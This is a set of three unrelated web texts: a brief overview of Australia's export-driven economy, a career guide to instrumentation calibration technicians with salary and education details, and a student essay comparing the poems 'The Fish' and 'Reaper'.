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Like any rich world economy, Australia’s economy is diversified. It has agriculture and mining but it also manufactures things like machinery. Australia’s economy has done better than many other world economies in the recent economic downturn. The reason for this is that Australia exports significant amounts of commodities to China and China’s economy did not really fall during the global crisis.
In terms of trade, Australia is very fortunate in its geography. It has huge deposits of various minerals, perhaps the most important of which are coal and iron ore. It also produces a great deal of wool and wheat. It is also fortunate because it is close to Asia. The bulk of Australia’s exports go to Asia. China is the main recipient of these exports. This has been very good for Australia in recent years as China’s economy has grown more rapidly than any other large economy. This has increased demand for Australian commodities and allowed Australia to experience economic growth even when times are hard for most of the rest of the developed world.
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What Is an Instrumentation Calibration Technician?
They are at the front line of monitoring and repairing electronic scientific equipment, sometimes working in confined spaces.
What Does an Instrumentation Calibration Technician?
Working with electronic equipment in a scientific environment, their job is to monitor, examine and test commonly used specialist electronics, and perform basic calibrations to ensure that the equipment is functioning properly. They work in a wide range of laboratory environments such as chemical analysis, biotechnology, medical research and pharmaceuticals and genetics labs, but always with the same kinds of responsibilities.
They are required to understand electronics and instrument function without necessarily needing to understand the scientific testing for which they are used, merely understanding functional efficiency. It is their responsibility to provide ongoing monitoring of equipment that researchers use every day. Typical equipment includes incubators, thermometers, and centrifuges. Sometimes this will require entering confined spaces where there may be a risk of injury and a knowledge of health and safety practice in labs and production areas is also paramount. Their role may also perform safety checks as well as efficiency calibration.
They will also have administrative duties including report writing, verbal communication, preparing requisition orders for replacement parts or to hire specialist repair technicians if they do not have the knowledge to conduct such repairs on-site. IT skills, particularly in using specialist calibration software, forms a part of this role and is usually learned on the job.
Where Does an Instrumentation Calibration Technician Work?
There is little specific data for Instrumentation Calibration Technicians, but they are broadly classed as Electro-Mechanical Technicians for statistics although these can work in a wide variety of environments, not just in scientific laboratories and the environmental sector. Payscale.com reports that most employees in this area work in electrical engineering (as seen in the industries listed below) and medical.
The largest employer of this type of technician is in semiconductors and electronic component manufacturing. They work in environments to ensure that the machinery associated with manufacturing complex scientific parts perform as expected.
The second biggest area of employment is in medical machine manufacturing, performing similar roles to semiconductor production but for medical devices and electronic equipment. They employ 10% of employees. Transportation engineering employs 9%, engineering services 8% and machinery manufacturing 7%. Engineering services most closely resemble the employment area of those who work in labs and with scientific instrumentation, but this requires no specialist knowledge beyond the technical and engineering aspect common to all industries.
What Is the Average Instrumentation Calibration Technician Salary?
According to Payscale.com in November 2017, Instrument Technicians in all fields reported an average salary of $51,736. The lowest 10% of earners self-reported a salary in the region of $30,339 while the highest 10% of earners reported a salary of $89,880. This is one of the widest salary ranges in any industry but with most employees earning in the region of the low 50k. these figures are roughly reflected in the BLS data with transportation reporting the highest average salary at $59,030. The major influencer on the higher salaries is experience and certification with more complex equipment specialists enjoying greater demand.
Instrumentation Calibration Technician Jobs & Job Description
Recent Instrumentation Calibration Technician Job Listings
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Instrumentation calibration technician positions generally require a background in laboratory science. An instrumentation calibration technician at the beginning of his or her career may be tasked with the following duties:
• Maintain, test and repair a variety of instrumentation and test equipment
• Provide onsite and in laboratory calibration services on a variety of devices
• Set up test equipment and conduct tests on performance and reliability of equipment
• Support calibration technicians on general laboratory equipment calibrations
• Follow safety procedures and industry best practices to ensure safety of technician and others
• Modify performance and operation of component parts and circuitry using test equipment and precision instruments
• Build customer relationships by offering support for customers' calibration and maintenance programs
• Work with vendors and order parts necessary for a repair of machinery
• Perform preventative maintenance on test equipment
What Is the Job Demand for Instrumentation Calibration Technicians?
The outlook is unclear for this role. BLS reports a potential growth of 4% which is slightly greater than half the average growth of all jobs in the US at present. However, some sources report a potential -2%. The main reason for this slowdown or loss of employment numbers is largely explained by increased automation of some electrical engineering and calibration tasks.
What Are the Education Requirements to Become an Instrumentation Calibration Technician?
The highly technical nature of this roles means that most employers require the student hold a relevant associate degree. Typical subjects include industrial engineering or electronics/instrument technology. Those working in specialist science labs (for example, biotechnology, genetics, medical research, microbiology) areas may require the technician to hold a basic understanding of the scientific principles of the labs with which they will work. High school students should ensure they register sufficient grades in math and IT, but also in the hard sciences of chemistry, biology or physics. This will permit access to a relevant degree.
Some colleges provide specific instrument technology Associate of Applied Science degrees that train them in the essentials of electrical engineering and safe practice. You will find community colleges in your local area offer these more often than big state universities. If the student wishes to enter a career in laboratory instrumentation calibration, he or she should seek minors and electives that cover the relevant sciences although certification in a specific field is the preferred method of accessing such a niche in the modern employment market. They are not always necessary; students should check the industry in their local area for further details due to the broad nature of this type of work.
Full degrees and postgraduate courses are not necessary as this is an applied science, not a teaching or research position. If a student wishes to teach this subject, they should pursue a degree or equivalent in teaching.
Instrumentation Calibration Technician - Related Degrees
What Kind of Societies and Professional Organizations Do Instrumentation Calibration Technicians Have?
Covering electrical and electronic engineering, the following bodies exist to aid students and professionals working in the field. |
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The Fish
Essay by • August 31, 2010 • 309 Words (2 Pages) • 1,175 Views
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"The Fish" has many detailed words about the five human senses. The author in "The Fish", had me visualize the catching of the fish. He talked about the fish not fighting the hook when it was in the corner of his mouth. He described what the fish looked like. He had brown skin hung in stripes like ancient wallpaper, shapes like full-blown roses, stained and lost through age. It had barnacles on him with infested tiny white sea-lice. The Fish's gills were filled with blood from the hook but he was still breathing.
The man looked into the fish's eyes which were far larger than his but shallower, and yellowed. The irises backed and packed with tarnished tinfoil seen through the lenses of old scratched isinglass.
The fish had five other old hooks that he broke away from previously. Two of them were real big. The author described the fish hooks as medals from other fights with men. The medals' had frayed and wavered ribbons attached.
There was a puddle of bilge that filled the boat where oil had spilled out. The oil made a rainbow around the rusted engine and then everything turned into a rainbow and he let the fish go.
This poem "Reaper" didn't describe the actions very well. You couldn't visualize what happened as much as the other poem. It was also very short and kind of boring. It described sharpening of scyths and having the horses drag the blades through the fields of weeds. At one point in the poem, there was one part that made me visualize the rat in the path of the blades being chopped up in them. That was the only good part of the poem because no one really cares about sharpening scyths. That's boring.
Obviously "The Fish" was better because it had a better topic an d great descriptive vocabulary.
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